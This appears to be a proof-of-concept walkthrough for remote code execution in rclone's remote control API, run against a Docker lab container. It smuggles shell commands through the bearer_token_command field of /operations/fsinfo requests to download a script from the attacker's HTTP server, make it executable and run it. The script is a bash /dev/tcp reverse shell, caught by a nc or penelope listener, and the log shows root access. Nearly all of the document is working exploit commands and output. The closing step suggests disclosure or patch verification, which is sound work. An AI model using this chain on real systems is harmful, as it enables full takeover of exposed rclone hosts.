# Step 1 $ docker build -t rclone-vuln -f Dockerfile.rclone /tmp # Step 2 $ docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln # Step 3 $ penelope -p 5555 # OR nc -lvnp 5555 # Step 4: Make sure the poc.sh has your ip and port $ cat poc.sh #!/bin/bash bash -i >& /dev/tcp// 0>&1 # Step 5: Host it on a http server. Make sure you launch it from the same location as poc.sh. $ python3 -m http.server 8888 Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ... # Step 6: Send command to download it to the target: $ curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://:/poc.sh':" # Step 7: Send command to make it executable: $ curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':" # Step 8: Send command to execute the script: $ curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':" # Step 9: Check your listener for a connection: $ penelope -p 5555 [+] Listening for reverse shells on 0.0.0.0:5555 → 127.0.0.1 • 10.0.2.15 • 172.17.0.1 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [!] Python agent cannot be deployed. I need to maintain at least one Raw session to handle the PTY [+] Attempting to spawn a reverse shell on 172.17.0.1:5555 [+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64 😍️ Assigned SessionID <2> [+] Shell upgraded successfully using /usr/bin/script! 💪 [+] Interacting with session [1] • Shell Type PTY • Menu key F12 ⇐ [+] Logging to /home/kali/.penelope/sessions/f7697b831050~172.17.0.3-Linux-x86_64/2026_06_28-14_43_55-910.log 📜 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── whoami root # Step 10: Redo steps 1-6 using patched.Dockerfile.rclone